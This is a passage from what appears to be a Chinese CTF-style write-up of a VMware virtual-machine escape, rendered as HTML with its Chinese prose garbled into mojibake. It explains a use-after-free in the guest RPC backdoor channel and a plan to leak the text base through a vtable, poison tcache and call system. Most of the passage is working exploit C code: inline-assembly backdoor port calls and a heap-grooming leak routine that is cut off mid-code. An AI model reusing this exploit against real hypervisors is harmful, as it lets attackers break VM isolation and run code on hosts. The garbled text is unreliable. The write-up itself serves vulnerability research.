1203<p>ç±ä¸é¢çåæå¯ä»¥ç¥ï¼è¿ä¸ªpatchä¼å¯¼è´<code>UAF</code>:妿æä»¬å¨æ¥æ¶å®æä¹å设置äº<code>0x20</code>è¿ä¸ªä½ï¼é£ä¹<code>output buffer</code>å°±ä¼è¢«éæ¾æï¼ä½ç±äºå®æ²¡æè¢«æ¸ é¶ï¼æä»¥çè®ºä¸æä»¬å¯ä»¥æ 鿬¡çå°å®<code>free</code>æãæäºè¿äºæ¡ä»¶ï¼æä»¬è¦å®ææ´ä¸ªå©ç¨å°±ä¸é¾äºã</p> 1204<p>å©ç¨æ¥éª¤å¦ä¸: 1205<code>Leak:</code> 12061. å¼ä¸¤ä¸ª<code>channel:Aï¼B</code> 12072. <code>A</code>ç<code>output buffer</code>为<code>buf_A</code>,ç¶å<code>A</code>éæ¾<code>buf_A</code> 12083. è¿æ¶è®©<code>B</code>åå¤ç»<code>guest</code>å<code>output</code>,<code>B</code>ä¼åé ä¸ä¸ª<code>buffer</code>ï¼æä»¬å©ç¨<code>info-set</code>å<code>info-get</code>æ¥æ§å¶æä»¬åé ç<code>buffer</code>大å°ï¼ä½¿å¾<code>B</code>ç<code>output buffer: buf_B=buf_A</code>ã 12094. <code>A</code>忬¡éæ¾<code>buf_A</code>ï¼è¿ä¹å¯¼è´äº<code>buf_B</code>è¢«éæ¾ãè¿ä¸ªæ¶åæä»¬å°±å¯ä»¥<code>leak</code>åº<code>buf_B</code>ç<code>fd</code>äº,使¯è¿ä¸ªæé没æä»ä¹ç¨ï¼æä»¬æ³è¦çæ¯<code>text base</code>ã 12105. å æ¤æä»¬åæ§è¡å½ä»¤<code>vmx.capability.dnd_version</code>,è¿ä¼è®©<code>host</code>åé ä¸åå 忥忾ä¸ä¸ª<code>obj</code>,éè¿æ§å¶<code>buffer</code>大尿们å¯ä»¥å好让<code>buf_B</code>è¢«ç¨æ¥åæ¾ä¸ä¸ª<code>obj</code>ãèè¿ä¸ª<code>obj</code>é颿<code>vtable</code>,æä»¬å¯ä»¥<code>leak</code>åºæ¥è®¡ç®<code>text base</code>ãæ³¨ææä»¬ä¸ç´æ²¡ææ¥å<code>B</code>çè¾åºï¼åªæ¯è®©å®å好åå¤(åé output buffer)ãç´å°è¿ä¸ªæ¶åæä»¬ææ¥åå®çè¾åºï¼å®æ<code>leak</code></p> 1211<p><code>Exploit</code></p> 1212<p>æäº<code>leak</code>çæ¹æ³ï¼<code>exploit</code>ç乿¯ç±»ä¼¼çäºãç®åæ¥è¯´å°±æ¯<code>UAF</code>ï¼æ<code>tcache</code>ç<code>fd</code>æ¹å°<code>bss</code>段ï¼ç¶åæ¹å½æ°æé为<code>system</code>,æåå¼¹<code>calculator</code></p> 1213<p>æç»ä½è çexpå ä¸äºæ³¨éï¼å¤§å®¶å¯ä»¥åè: 1214<div class="codehilite"><pre><span></span><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span> 1215<span class="cp">#include</span> <span class="cpf"><stdint.h></span><span class="cp"></span> 1216<span class="kt">void</span> <span class="nf">channel_open</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1217 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">
1217\n\t</span><span class="s">"</span> 1218 <span class="s">"movq %%rdi,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1219 <span class="s">"movq %%rsi,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 1220 <span class="s">"movq %%rdx,%%r12</span><span class="se">\n\t</span><span class="s">"</span> 1221 <span class="s">"movq %%rcx,%%r13</span><span class="se">\n\t</span><span class="s">"</span> 1222 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1223 <span class="s">"movl $0xc9435052,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1224 <span class="s">"movl $0x1e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1225 <span class="s">"movl $0x5658,%%edx</span><span class="se">\n\t</span><span class="s">"</span> 1226 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1227 <span class="s">"movl %%edi,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1228 <span class="s">"movl %%esi,(%%r11)</span><span class="se">\n\t</span><span class="s">"</span> 1229 <span class="s">"movl %%edx,(%%r12)</span><span class="se">\n\t</span><span class="s">"</span> 1230 <span class="s">"movl %%ecx,(%%r13)</span><span class="se">\n\t</span><span class="s">"</span> 1231 <span class="o">:</span> 1232 <span class="o">:</span> 1233 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r8"</span><span class="p">,</span><span class="s">"%r10"</span><span class="p">,</span><span class="s">"%r11"</span><span class="p">,</span><span class="s">"%r12"</span><span class="p">,</span><span class="s">"%r13"</span> 1234 <span class="p">);</span> 1235<span class="p">}</span> 1236 1237<span class="kt">void</span> <span class="nf">channel_set_len</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1238 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1239 <span class="s">"movq %%r8,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1240 <span class="s">"movl %%ecx,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1241 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1242 <span class="s">"movl $0x0001001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1243 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1244 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1245 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1246 <span class="o">:</span> 1247 <span class="o">:</span> 1248 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span>
1249 <span class="p">);</span> 1250<span class="p">}</span> 1251 1252<span class="kt">void</span> <span class="nf">channel_send_data</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1253 <span class="k">asm</span><span class="p">(</span><span class="s">"pushq %%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1254 <span class="s">"movq %%r9,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1255 <span class="s">"movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1256 <span class="s">"movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 1257 <span class="s">"movq $0,%%r12</span><span class="se">\n\t</span><span class="s">"</span> 1258 <span class="s">"1:</span><span class="se">\n\t</span><span class="s">"</span> 1259 <span class="s">"movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1260 <span class="s">"add %%r12,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1261 <span class="s">"movl (%%rbp),%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1262 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1263 <span class="s">"movl $0x0002001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1264 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1265 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1266 <span class="s">"addq $4,%%r12</span><span class="se">\n\t</span><span class="s">"</span> 1267 <span class="s">"cmpq %%r12,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 1268 <span class="s">"ja 1b</span><span class="se">\n\t</span><span class="s">"</span> 1269 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1270 <span class="s">"popq %%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1271 <span class="o">:</span> 1272 <span class="o">:</span> 1273 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span><span class="p">,</span><span class="s">"%r11"</span><span class="p">,</span><span class="s">"%r12"</span> 1274 <span class="p">);</span> 1275<span class="p">}</span> 1276 1277<span class="kt">void</span> <span class="nf">channel_recv_reply_len</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">len</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1278 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">"</span>
1279 <span class="s">"movq %%r8,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1280 <span class="s">"movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 1281 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1282 <span class="s">"movl $0x0003001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1283 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1284 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1285 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1286 <span class="s">"movl %%ebx,(%%r11)</span><span class="se">\n\t</span><span class="s">"</span> 1287 <span class="o">:</span> 1288 <span class="o">:</span> 1289 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span><span class="p">,</span><span class="s">"%r11"</span> 1290 <span class="p">);</span> 1291 1292<span class="p">}</span> 1293 1294<span class="kt">void</span> <span class="nf">channel_recv_data</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">offset</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1295 <span class="k">asm</span><span class="p">(</span><span class="s">"pushq %%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1296 <span class="s">"movq %%r9,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1297 <span class="s">"movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1298 <span class="s">"movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">"</span> 1299 <span class="s">"movq $1,%%rbx</span><span class="se">\n\t</span><span class="s">"</span> 1300 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1301 <span class="s">"movl $0x0004001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1302 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1303 <span class="s">"in %%dx,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1304 <span class="s">"add %%r11,%%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1305 <span class="s">"movl %%ebx,(%%rbp)</span><span class="se">\n\t</span><span class="s">"</span> 1306 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1307 <span class="s">"popq %%rbp</span><span class="se">\n\t</span><span class="s">"</span> 1308 <span class="o">:</span> 1309 <span class="o">:</span> 1310 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span><span class="p">,</span><span class="s">"%r11"</span><span class="p">,</span><span class="s">"%r12"</span>
1311 <span class="p">);</span> 1312<span class="p">}</span> 1313 1314<span class="kt">void</span> <span class="nf">channel_recv_finish</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1315 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1316 <span class="s">"movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1317 <span class="s">"movq $0x1,%%rbx</span><span class="se">\n\t</span><span class="s">"</span> 1318 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1319 <span class="s">"movl $0x0005001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1320 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1321 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1322 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1323 <span class="o">:</span> 1324 <span class="o">:</span> 1325 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span> 1326 <span class="p">);</span> 1327<span class="p">}</span> 1328<span class="kt">void</span> <span class="nf">channel_recv_finish2</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1329 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">"</span> 1330 <span class="s">"movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1331 <span class="s">"movq $0x21,%%rbx</span><span class="se">\n\t</span><span class="s">"</span> 1332 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1333 <span class="s">"movl $0x0005001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1334 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1335 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1336 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1337 <span class="o">:</span> 1338 <span class="o">:</span> 1339 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span> 1340 <span class="p">);</span> 1341<span class="p">}</span> 1342<span class="kt">void</span> <span class="nf">channel_close</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span> 1343 <span class="k">asm</span><span class="p">(</span><span class="s">"movl %%eax,%%ebx</span><span class="se">
1343\n\t</span><span class="s">"</span> 1344 <span class="s">"movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">"</span> 1345 <span class="s">"movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">"</span> 1346 <span class="s">"movl $0x0006001e,%%ecx</span><span class="se">\n\t</span><span class="s">"</span> 1347 <span class="s">"movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1348 <span class="s">"out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">"</span> 1349 <span class="s">"movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">"</span> 1350 <span class="o">:</span> 1351 <span class="o">:</span> 1352 <span class="o">:</span><span class="s">"%rax"</span><span class="p">,</span><span class="s">"%rbx"</span><span class="p">,</span><span class="s">"%rcx"</span><span class="p">,</span><span class="s">"%rdx"</span><span class="p">,</span><span class="s">"%rsi"</span><span class="p">,</span><span class="s">"%rdi"</span><span class="p">,</span><span class="s">"%r10"</span> 1353 <span class="p">);</span> 1354<span class="p">}</span> 1355<span class="k">struct</span> <span class="n">channel</span><span class="p">{</span> 1356 <span class="kt">int</span> <span class="n">cookie1</span><span class="p">;</span> 1357 <span class="kt">int</span> <span class="n">cookie2</span><span class="p">;</span> 1358 <span class="kt">int</span> <span class="n">num</span><span class="p">;</span> 1359<span class="p">};</span> 1360<span class="kt">uint64_t</span> <span class="n">heap</span> <span class="o">=</span><span class="mi">0</span><span class="p">;</span> 1361<span class="kt">uint64_t</span> <span class="n">text</span> <span class="o">=</span><span class="mi">0</span><span class="p">;</span> 1362<span class="kt">void</span> <span class="nf">run_cmd</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">cmd</span><span class="p">){</span> 1363 <span class="k">struct</span> <span class="n">channel</span> <span class="n">tmp</span><span class="p">;</span> 1364 <span class="kt">int</span> <span class="n">res</span><span class="p">,</span><span class="n">len</span><span class="p">,</span><span class="n">i</span><span class="p">;</span> 1365 <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">;</span> 1366 <span class="n">channel_open</span><span class="p">(</span><span class="o">&</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1367 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1368 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to open channel!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1369 <span class="k">return</span><span class="p">;</span> 1370 <span class="p">}</span> 1371 <span class="n">channel_set_len</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">cmd</span><span class="p">),</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1372 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1373 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to set len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1374 <span class="k">return</span><span class="p">;</span> 1375 <span class="p">}</span> 1376 <span class="n">channel_send_data</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span><span class="o">+</span><span class="mh">0x10</span><span class="p">,</span><span class="n">cmd</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1377 1378 <span class="n">channel_recv_reply_len</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">len</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1379 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1380 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv data len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1381 <span class="k">return</span><span class="p">;</span> 1382 <span class="p">}</span> 1383 <span class="n">printf</span><span class="p">(</span><span class="s">"recv len:%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">len</span><span class="p">);</span> 1384 <span class="n">data</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span> 1385 <span class="n">memset</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">);</span> 1386 <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">len</span><span class="o">+</span><span class="mh">0x10</span><span class="p">;</span><span class="n">i</span><span class="o">+=</span><span class="mi">4</span><span class="p">){</span> 1387 <span class="n">channel_recv_data</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">data</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1388 <span class="p">}</span> 1389 <span class="n">printf</span><span class="p">(</span><span class="s">"recv data:%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">data</span><span class="p">);</span> 1390 <span class="n">channel_recv_finish</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1391 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1392 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to recv finish</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1393 <span class="p">}</span> 1394 1395 <span class="n">channel_close</span><span class="p">(</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie1</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">cookie2</span><span class="p">,</span><span class="n">tmp</span><span class="p">.</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1396 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1397 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to close channel</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1398 <span class="k">return</span><span class="p">;</span> 1399 <span class="p">}</span> 1400<span class="p">}</span> 1401<span class="kt">void</span> <span class="nf">leak</span><span class="p">(){</span> 1402 <span class="k">struct</span> <span class="n">channel</span> <span class="n">chan</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span> 1403 <span class="kt">int</span> <span class="n">res</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> 1404 <span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="n">i</span><span class="p">;</span> 1405 <span class="kt">char</span> <span class="n">pay</span><span class="p">[</span><span class="mi">8192</span><span class="p">];</span> 1406 <span class="kt">char</span> <span class="o">*</span><span class="n">s1</span> <span class="o">=</span> <span class="s">"info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span class="p">;</span> 1407 <span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">;</span> 1408 <span class="kt">char</span> <span class="o">*</span><span class="n">s2</span> <span class="o">=</span> <span class="s">"info-get guestinfo.a"</span><span class="p">;</span> 1409 <span class="kt">char</span> <span class="o">*</span><span class="n">s3</span> <span class="o">=</span> <span class="s">"1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span class="p">;</span> 1410 <span class="kt">char</span> <span class="o">*</span><span class="n">s4</span> <span class="o">=</span> <span class="s">"tools.capability.dnd_version 4"</span><span class="p">;</span> 1411 <span class="kt">char</span> <span class="o">*</span><span class="n">s5</span> <span class="o">=</span> <span class="s">"vmx.capability.dnd_version"</span><span class="p">;</span> 1412 <span class="c1">//init data</span> 1413 <span class="n">run_cmd</span><span class="p">(</span><span class="n">s1</span><span class="p">);</span> <span class="c1">// set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100);</span> 1414 <span class="n">run_cmd</span><span class="p">(</span><span class="n">s4</span><span class="p">);</span> 1415 1416 1417 <span class="c1">//first step </span> 1418 <span class="n">channel_open</span><span class="p">(</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="o">&</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1419 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span>
1420 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to open channel!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1421 <span class="k">return</span><span class="p">;</span> 1422 <span class="p">}</span> 1423 <span class="n">channel_set_len</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="o">&</span><span class="n">res</span><span class="p">);</span> 1424 <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">){</span> 1425 <span class="n">printf</span><span class="p">(</span><span class="s">"fail to set len</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> 1426 <span class="k">return</span><span class="p">;</span> 1427 <span class="p">}</span> 1428 <span class="n">channel_send_data</span><span class="p">(</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie1</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cookie2</span><span class="p">,</span><span class="n">chan</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">num</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">s2</span><span class="p">),</span><span class="n">s2</span><span class="p">,</span><span class="o">&</span><span 